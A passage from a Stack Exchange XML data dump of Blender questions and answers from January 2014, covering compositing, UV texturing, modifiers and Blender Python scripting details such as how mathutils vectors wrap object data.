  <row Id="6585" PostTypeId="2" ParentId="6472" CreationDate="2014-01-28T08:25:46.350" Score="0" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, this is not possible currently.&#xA;I'm not sure how practical this would be, given the massive size of fluid caches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/questions/6472/is-it-possible-to-bake-fluid-simulation-into-blend-file#comment10320_6472&quot;&gt;mentioned by stacker&lt;/a&gt;, &lt;a href=&quot;https://www.respower.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ResPower&lt;/a&gt; supports fluid simulations to some extent.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-01-28T08:25:46.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6586" PostTypeId="1" AcceptedAnswerId="6587" CreationDate="2014-01-28T10:27:17.317" Score="2" ViewCount="161" Body="&lt;p&gt;I am trying to set up a mix of live footage and 3d rendering, but I keep failing in obtaining a realistic reflection layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My workflow is to have a ground plane that is &lt;strong&gt;totally white&lt;/strong&gt;, a &lt;strong&gt;white sky&lt;/strong&gt;, and five the plane some degree of reflection (here in the screenshot it is 1.0, but it's only to show the problem, I know it's not realistic this way).&#xA;Then i multiply the reflection layer with the result of movieclip+foreground, but I keep having this annoying border around the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get rid of it?&lt;img src=&quot;https://i.stack.imgur.com/KpjJx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2280" LastEditorUserId="2280" LastEditDate="2014-01-28T10:37:41.280" LastActivityDate="2014-01-29T02:23:17.227" Title="Border around reflection pass" Tags="&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6587" PostTypeId="2" ParentId="6586" CreationDate="2014-01-28T12:50:33.227" Score="2" Body="&lt;p&gt;AFAIK, a &lt;strong&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Filter#Dilate.2FErode_Node&quot; rel=&quot;nofollow&quot;&gt;Dilate/Erode&lt;/a&gt;&lt;/strong&gt; node is commonly used to fix such issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Becides, it seems that you set the &lt;em&gt;robot&lt;/em&gt; Layer as &lt;strong&gt;Mask&lt;/strong&gt; layer for the &lt;em&gt;reflect&lt;/em&gt; RenderLayer, which caused part of the plane was masked as transparent. Try untoggle that in RenderLayer setting, or add a new RenderLayer to get an expected alpha.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-29T02:23:17.227" LastActivityDate="2014-01-29T02:23:17.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6588" PostTypeId="2" ParentId="6377" CreationDate="2014-01-28T13:56:09.443" Score="4" Body="&lt;p&gt;Workaround example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a plane to the scene, to see the effect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix&#xA;from bpy_extras import view3d_utils&#xA;&#xA;mesh = bpy.data.objects['Plane'].data&#xA;camera = bpy.data.objects['Camera']&#xA;data = camera.data&#xA;&#xA;frame = data.view_frame()&#xA;render = bpy.context.scene.render&#xA;ar = render.resolution_y / render.resolution_x&#xA;&#xA;mesh.vertices[0].co = frame[0]&#xA;mesh.vertices[1].co = frame[1]&#xA;mesh.vertices[2].co = frame[3]&#xA;mesh.vertices[3].co = frame[2]&#xA;&#xA;scale = Matrix.Scale(ar, 4, (0.0,1.0,0.0))&#xA;mat = camera.matrix_world&#xA;&#xA;mesh.transform(mat*scale)&#xA;mesh.update()&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type=='VIEW_3D':&#xA;        break&#xA;&#xA;space = area.spaces[0]&#xA;region = area.regions[4]&#xA;&#xA;points_on_screen = [&#xA;    view3d_utils.location_3d_to_region_2d(&#xA;        region,&#xA;        space.region_3d,&#xA;        v.co&#xA;        )&#xA;    for v in mesh.vertices&#xA;    ]&#xA;&#xA;print(*points_on_screen, sep=&quot;\n&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can apply the matrix transform directly to the vectors in &lt;code&gt;camera.view_frame&lt;/code&gt; and use &lt;code&gt;location_3d_to_region_2d&lt;/code&gt; to get the screen coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plane is used for visualization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW: To get the W-component you have to expand the vectors before multiplication  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v = Vector((0.0, 0.0, 0.0))&#xA;v.to_4d()&#xA;# Vector((0.0, 0.0, 0.0, 1.0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;space_data.region_3d.perspective_matrix&lt;/code&gt; seems to be already multiplied with the view matrix. You can reverse it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;perspective_matrix * view_matrix.inverted()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ndc = [None] * 4&#xA;for i, v in enumerate(camera.view_frame()):&#xA;    ndc[i] = perspective_matrix * matrix_world * scale * v.to_4d()&#xA;    ndc[i] /= ndc[i][3]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should give you the NDC-coordinates&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="1363" LastEditDate="2014-01-28T19:19:27.220" LastActivityDate="2014-01-28T19:19:27.220" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6589" PostTypeId="1" CreationDate="2014-01-28T18:54:58.250" Score="2" ViewCount="2317" Body="&lt;p&gt;I'm creating a model of a road to use in Unity. The edges need to be able to tile so I can link multiple parts together. I made a UV map and edited it in Gimp. I used the seamless filter in gimp to make the top part of the road seamless, however I'm still getting a line on the very edge. Any ideas on how I can make a better texture for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unity&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jsfWC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zgQ4W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2285" LastActivityDate="2014-01-28T20:10:13.027" Title="Seamless UV Texture?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6590" PostTypeId="1" AcceptedAnswerId="6592" CreationDate="2014-01-28T19:34:56.553" Score="4" ViewCount="2044" Body="&lt;p&gt;I was writing a script and discover weird thing. I have code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;obj = bpy.context.active_object&#xA;for s in obj.scale:&#xA;    s *= 2.0&#xA;    print(s)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it doesn't change scale of the object although &lt;code&gt;print(s)&lt;/code&gt; shows me correct values. I thought I get a pointer to the object's property as I get pointer to the object in case with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for obj in bpy.context.selected_objects:&#xA;    # do something&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="782" LastEditorUserId="55" LastEditDate="2014-01-28T20:04:06.850" LastActivityDate="2016-05-10T07:58:16.137" Title="How to modify Blender data from vector/arrays in Python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6591" PostTypeId="2" ParentId="6550" CreationDate="2014-01-28T19:37:47.360" Score="9" Body="&lt;p&gt;You could add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Solidify&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;solidify modifier&lt;/em&gt;&lt;/a&gt; to the sphere before the boolean modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zB1ZX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that you can set the boolean modifier to &lt;em&gt;Difference&lt;/em&gt; and use a plane as the &lt;em&gt;Object&lt;/em&gt;, it may be easier to animate than a cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this to work, the normal of the plane must be facing the sphere:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nyiJK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can flip the direction of the normals by&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Pressing &lt;em&gt;Flip Direction&lt;/em&gt; in &lt;em&gt;3D view &gt; Tool Shelf (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Basic &gt; Normals&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; and enabling &lt;em&gt;Inside&lt;/em&gt; in the &lt;em&gt;Redo menu&lt;/em&gt; (either at the bottom of the &lt;em&gt;Tool Shelf&lt;/em&gt;, or by pressing &lt;kbd&gt;F6&lt;/kbd&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Result:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9TM7f.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-28T21:02:27.060" LastActivityDate="2014-01-28T21:02:27.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6592" PostTypeId="2" ParentId="6590" CreationDate="2014-01-28T19:48:34.813" Score="5" Body="&lt;p&gt;The issue here is that its not always clear when values are &lt;em&gt;wrapped&lt;/em&gt; or not, that is to say, when modifying a value will apply changes back to the Blender data the values originally came from.&lt;/p&gt;&#xA;&lt;p&gt;The rule of thumb here is that array/vector/matrix/quaternion/euler/color types wrap blender internal data, but when you get a single number from any of these types, changes to it &lt;strong&gt;won't&lt;/strong&gt; be applied back to the original data.&lt;/p&gt;&#xA;&lt;p&gt;Taking &lt;code&gt;Object.scale&lt;/code&gt; as an example...&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;This &lt;strong&gt;will&lt;/strong&gt; modifiy the objects scale:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;obj.scale[0] = obj.scale[0] * 2.0&#xA;&#xA;# or...&#xA;obj.scale[0] *= 2.0&#xA;&#xA;# or...&#xA;scale = obj.scale&#xA;scale[0] *= 2.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;This &lt;strong&gt;won't&lt;/strong&gt; modify the objects scale:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# s is a float and holds no reference to the original data&#xA;s = obj.scale[0]&#xA;s *= 2.0&#xA;&#xA;# or...&#xA;# this does nothing other then to do a multiplication and ignore the result&#xA;obj.scale[0] * 2.0&#xA;&#xA;# or...&#xA;# by making a copy of the scale, the reference to blender data is dropped,&#xA;# this is often useful when you *want* to get some data and manipulate it&#xA;# without touching your data in Blender.&#xA;scale = obj.scale.copy()&#xA;scale[0] *= 2.0&#xA;&#xA;# or...&#xA;# by decomposing the scale value by axis,&#xA;# we get a list of floats which won't wrap original data,&#xA;# this is like '.copy()' but gives us a list rather then a Vector.&#xA;scale = [obj.scale[0], obj.scale[1], obj.scale[2]]&#xA;scale[0] *= 2.0&#xA;&#xA;# or...&#xA;# this also has the effect of returning a new, modified copy.&#xA;scale = [s * 2.0 for s in obj.scale]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Note:&lt;/h2&gt;&#xA;&lt;p&gt;While this is a &lt;code&gt;Vector&lt;/code&gt;, the same thing applies to color, eulers... etc as mentioned before.&lt;/p&gt;&#xA;&lt;p&gt;In the example given in the question, its looping over numbers, so you would have to do something like this...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;for i, s in enumerate(obj.scale):&#xA;    obj.scale[i] = s * 2.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that in this case Vectors can be multiplied by numbers so its best to do:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;obj.scale *= 2.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;Note:&lt;/h2&gt;&#xA;&lt;p&gt;if you have a &lt;code&gt;mathutils&lt;/code&gt; class - Vector/Matrix/Color/Quaternion/Euler, you can check to see if they reference some other data with the readonly &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_current/mathutils.html#mathutils.Vector.is_wrapped&quot; rel=&quot;nofollow noreferrer&quot;&gt;is_wrapped&lt;/a&gt; attribute. You can even get the data they came from using &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_current/mathutils.html#mathutils.Vector.owner&quot; rel=&quot;nofollow noreferrer&quot;&gt;owner&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-05-10T07:58:16.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6593" PostTypeId="2" ParentId="6589" CreationDate="2014-01-28T20:10:13.027" Score="1" Body="&lt;p&gt;Split your view, so that you can have 3dview and UV Window.&#xA;Select Texture Paint in 3d view.&#xA;In Uv window, Turn on N Panel and in Display check Repeat.&#xA;This alows you to tile your texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now in 3dview, select Clone tool. Choose a point in your textures, which you want to clone. Left click to move the curson at chosen point (Ctrl+Left CLick)  and start cloning your texture to seamless one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move your UV layout in uv window, when you want to offset the texture.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zgLGT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2014-01-28T20:10:13.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6594" PostTypeId="2" ParentId="6590" CreationDate="2014-01-28T20:46:06.473" Score="1" Body="&lt;h2&gt;summary&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;namebinding - does not affect b&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b=a&#xA;a=42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;modifying attributes or items - does affect b&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b=a&#xA;a.attr=42&#xA;a[item]=360&#xA;&amp;gt;&amp;gt;&amp;gt;b.attr&#xA;#42&#xA;&amp;gt;&amp;gt;&amp;gt;b[item]&#xA;#360&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;some more details&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;What happens when you call (see &lt;a href=&quot;http://docs.python.org/3/reference/compound_stmts.html#the-for-statement&quot; rel=&quot;nofollow&quot;&gt;for loop&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for elem in obj:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is, that an iterator will be retrieved from the obj like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj_iter=iter(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This iterator has a method &lt;code&gt;__next__&lt;/code&gt; which can be called by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;next(obj_iter)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and will return the next element in the collection. The for-loop repeately calls &lt;code&gt;__next__&lt;/code&gt;, assigns the returned value to the variable &lt;code&gt;elem&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elem=next(obj_iter)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and executes the body on each turn until the iterator raises the &lt;code&gt;StopIteration&lt;/code&gt; exception signalizing that there are'nt any elements left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the elements in &lt;code&gt;obj&lt;/code&gt; are mutable you can modify the elements .&lt;em&gt;attributes&lt;/em&gt; or [&lt;em&gt;items&lt;/em&gt;] with the value given to &lt;code&gt;elem&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example you are rebinding a new value to the iteration variable 's name. (see &lt;a href=&quot;http://docs.python.org/3/reference/simple_stmts.html#assignment-statements&quot; rel=&quot;nofollow&quot;&gt;assignment&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-01-29T08:59:59.453" LastActivityDate="2014-01-29T08:59:59.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6595" PostTypeId="1" CreationDate="2014-01-28T20:53:50.973" Score="3" ViewCount="360" Body="&lt;p&gt;I have a long thin constant width mesh (a bit like a long train, but it actually looks like a wall) that moves along a curve using the curve modifier. And when the mesh has reached the end of the curve it stops (having the bent shape of the curve). Now I want the end of my mesh to animate straigt out into a 90 degree angle. As if the last &quot;train wagon&quot; was pulled off the track, but still attached to the rest of the train. Without having the front of the &quot;train&quot; loose it's bent shape from the modifier. &#xA;But when I animate the end part of the mesh it is still affected by the curve modifier and gets deformed. It basically looks like the last wagon gets a little banana shaped and maybe also a little wider in one end. I want it to keep it´s width and be able to straighten it out and continue the animation using only the end of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried animating the visibility of the curve modifier as gandalf3 suggested. Didn't know you could do that. Really cool feature (for those out there that do not know how to - try right clicking on the eye icon or pressing I while hoovering the mouse pointer over the eye). &#xA;But it hasn't worked out for me as I hoped. It seems like animating the curve modifiers visibility is the path to the solution but there must be some part of the puzzle missing.&#xA;When visibility is turned off the mesh jumps sideways to the position it really is located at hadn't it been for the modifiers influence. &#xA;In order for me to be able to turn off visibility only for the last part of the mesh, as I want the beginning of it to stay affected by the curve modifier, I also tried dividing the mesh into vertex groups. And just animate the modifier visibility on one of the vertex groups. But this doesn't work as I had hoped either, the vertex group I animate visibility on still jumps out of place. And separating the mesh into two parented objects doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2264" LastEditorUserId="2264" LastEditDate="2014-02-09T08:30:35.550" LastActivityDate="2014-02-09T08:30:35.550" Title="How to stop the influence of a curve modifier for part of a mesh after having animated along it?" Tags="&lt;animation&gt;&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6596" PostTypeId="2" ParentId="6520" CreationDate="2014-01-28T21:41:24.177" Score="0" Body="&lt;p&gt;From what I understood it was actually an API bug. So the answer is, yes an operator should reuse its settings, even with popup dialog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole bug report can be found &lt;a href=&quot;https://developer.blender.org/T38367&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2014-01-28T21:41:24.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6597" PostTypeId="2" ParentId="6453" CreationDate="2014-01-29T01:47:29.423" Score="1" Body="&lt;p&gt;You cannot have more than one contributor to an open file (video or otherwise), frame sequence renders avoid this by allocating a render instance (multiple machines) to each frame. If you want to render a contiguous video file (with or without audio) you can only have one device create it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could render portions across various machines and stitch them together later (faster if no additional effects are required). Although this would result in re compression of frames.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-01-29T01:47:29.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6598" PostTypeId="1" CreationDate="2014-01-29T02:25:33.273" Score="2" ViewCount="1104" Body="&lt;p&gt;I'm writing a new import script from &lt;code&gt;DSON&lt;/code&gt; (DAZ Studio json-based format) to Blender. I've got the vertexes and faces in, but I'm having difficulty generating sensible UVs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Problem&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to get the UV faces (correctly) into my object in Blender. I've been trying to follow the example of the Wavefront OBJ importer code but I don't understand what I'm reading and my results reflect that. I keep loosing some of my UV points, and whats left are being connected by a nonsensical zigzagging mess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Complicating things is that I have a severe case of perl brain so I'm sure my data structures make real Python programmers cry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A datastructure called &lt;code&gt;uvs&lt;/code&gt; that wrangles all the UV information from&#xA;the file. A given object in DSON can have one-or-many UV sets;&#xA;usually only one is used at a time although obviously Blender can do&#xA;fancier things. &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;uvs&lt;/code&gt; is a dictionary of named UV sets (the name of the&#xA;set is the key to uvs) Each UV set is a dictionary with two keys&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;one is '&lt;code&gt;textureCoord&lt;/code&gt;' and is an ordered list of tuples-pairs of the UV co-ordinates in the 0..1 format Blender uses.&lt;/li&gt;&#xA;&lt;li&gt;the other is '&lt;code&gt;uvFace&lt;/code&gt;' and is an ordered list of tuples-tris or -quads, each representing one face of the UV map. Each tuple is a list of indexes referring to the co-ordinates from '&lt;code&gt;textureCoord&lt;/code&gt;' used to build that face. &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Order for both '&lt;code&gt;textureCoord&lt;/code&gt;' and '&lt;code&gt;uvFace&lt;/code&gt;' comes from the original &lt;code&gt;DSON&lt;/code&gt; file and matches the order in [the OBJ][1] file. Same with the vertexes and faces in my data structure and the OBJ file, therefore I'm feeling pretty safe in assuming the geometry face order corresponds 1:1 with the UV face order.&lt;/li&gt;&#xA;&lt;li&gt;Since I think I'm messing up terminology, I'll explain what I have with an example.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A 1m cube exported from Studio has 8 vertexes, and six faces (all quads). &lt;/li&gt;&#xA;&lt;li&gt;It is unwrapped with what looks like a Lightwave style unwrap algorithm, giving me 6 UV faces packed into the UV map into a rectangular space - three per row, two rows, with no border padding between islands.&lt;/li&gt;&#xA;&lt;li&gt;I get a list of 8 geometry vertexes, and 6 geometry faces (referring to 4 indexes into the list of geometry vertexes).&lt;/li&gt;&#xA;&lt;li&gt;I get &lt;strong&gt;18 UV vertexes&lt;/strong&gt;, and 6 UV faces (referring to 4 indexes into the list of UV vertexes).&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Given information organized in this way, what seems to be the best way to go about importing my UVs and getting them associated with the geometry correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have found so far and what I've tried so far&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found: No real tutorials on how the UV API works. :( I would LOVE it if there's a tutorial out there that walks you through the Python API and UV creation, like I've found for geometry creation, but I can't seem to find something like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read &lt;a href=&quot;https://blender.stackexchange.com/questions/5642/importing-uv-coordinates&quot;&gt;Importing UV coordinates&lt;/a&gt; and the linked article on BA and didn't find it particularly illuminating. I certainly thought I was building my mesh via polygon, when I tried implementing the BA article code I get KeyValue exceptions that seem related to the index of the loop??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1]I've validated that I'm untangling the DSON data correctly by dumping my face lists to the console while I try to import, and comparing with an OBJ export from DAZ Studio. I've confirmed the OBJ imports fine into Blender, so I know Studio is producing consistent output. The UV co-ordinates and UV-face lists/orders match up, so that seems good...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create a new &lt;code&gt;tessfaces_uv_textures&lt;/code&gt; and name it (and also a new &lt;code&gt;uv_textures&lt;/code&gt;); I'm confused as to what the difference between the two is. I've tried assigning values to the &lt;code&gt;tessface_uv_textures[mapindex].data.uvN&lt;/code&gt; properties and get nonsense; I periodically even loose geometry faces by doing this, which seems very odd. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I comment out my sub that's building the UVs, my geometry faces come back, so I have isolated whatever THAT problem is to the way I was (failing) to handle UVs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also checked out &lt;a href=&quot;https://blender.stackexchange.com/questions/6053/simple-uv-mapping-example-in-blender-2-63-python&quot;&gt;https://blender.stackexchange.com/questions/6053/simple-uv-mapping-example-in-blender-2-63-python&lt;/a&gt; and from there looked at the &lt;code&gt;io_import_images_as_planes.py&lt;/code&gt; script but it is... utterly unhelpful. It creates an UV texture and otherwise seems to rely on the image plane being exactly one quad and the default UV map being exactly a square the shape of the image space to do its work automatically. I need to import an existing UV map, not set up the bare bones of one.&lt;/p&gt;&#xA;" OwnerUserId="2288" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-01-29T19:35:46.883" Title="New Import script: creating UV coordinates" Tags="&lt;python&gt;&lt;uv&gt;&lt;import&gt;" AnswerCount="0" CommentCount="8" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6599" PostTypeId="2" ParentId="6522" CreationDate="2014-01-29T02:52:31.270" Score="2" Body="&lt;p&gt;Further to sambler's answer - the Mirror modifier has the option to mirror vertex groups, which helps significantly in avoiding this problem in the first place. For this to work, however, your groups need to be named with a suffix indicating what side of the figure they're on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertex groups for left-side should end in the suffix .L, vertex groups for right-side should end in the suffix .R. This is not configurable, which irritates me :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Both&lt;/em&gt; sets of groups need to exist, even if you don't have any vertexes in one half of them before adding the mirror modifier. The modifier won't create needed groups. This would also be a good feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do plan on trying to tackle both those irritants once I wrap my head around more of how the internals work.&lt;/p&gt;&#xA;" OwnerUserId="2288" LastActivityDate="2014-01-29T02:52:31.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6600" PostTypeId="2" ParentId="5869" CreationDate="2014-01-29T03:20:52.737" Score="1" Body="&lt;p&gt;The problem is that the file is interpreted as 25fps progressive. But there are twice the number of frames (due to interlacing), Blender represents the interlaced frames as individual progressive frames. Thus doubling the strip length. If you add a speed effect you effectively speed up the strip or discard half the resolution (sort of like deinterlace).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Sony AVCHD camera and could not solve this frame handling issue. The frames must be merged back into each other but Blender doesn't recognise this.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2014-01-29T03:20:52.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6602" PostTypeId="1" CreationDate="2014-01-29T06:16:25.570" Score="0" ViewCount="638" Body="&lt;p&gt;I've been given a logo graphic that is solid black, in 2D.  The best way to describe is to visualize a musical treble clef drawn with a wide-tip pen slanted. There are two important characteristics that I'm trying to figure out how to model using Blender (2.69): 1) The wide-tip pen (calligraphy style) causes the width of the stroke to change continuously, and 2) the stroke crosses over itself twice.  The 3D request is to have the stroke be &quot;raised&quot; in the middle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the outline of the logo traced perfectly with a bezier curve, but I can't figure out how to give it a smooth contour that changes height to match the width of the stroke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conceptually I'd like to extrude a bezier circle along the outline, scaling each extrusion to match the width of the stroke.  When done I'd bring a plane in and have it bisect the model between a lower or back half and the upper or front half.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But every way I've tried to extrude a bezier curve results in the curve just moving along with my cursor.  I was hoping to use bezier curves to keep the quality of the curve high until I was done shaping the entire model, then convert the curve to mesh and clean up where the stroke overlaps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps a workable approach is to create a circle mesh, extrude it, rotate as needed, and scale it, then repeat all along the outline. However, I absolutely have to avoid faceted curves as the &quot;skin&quot; flows around the stroke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am hoping someone more experienced with Blender would have a helpful suggestion or 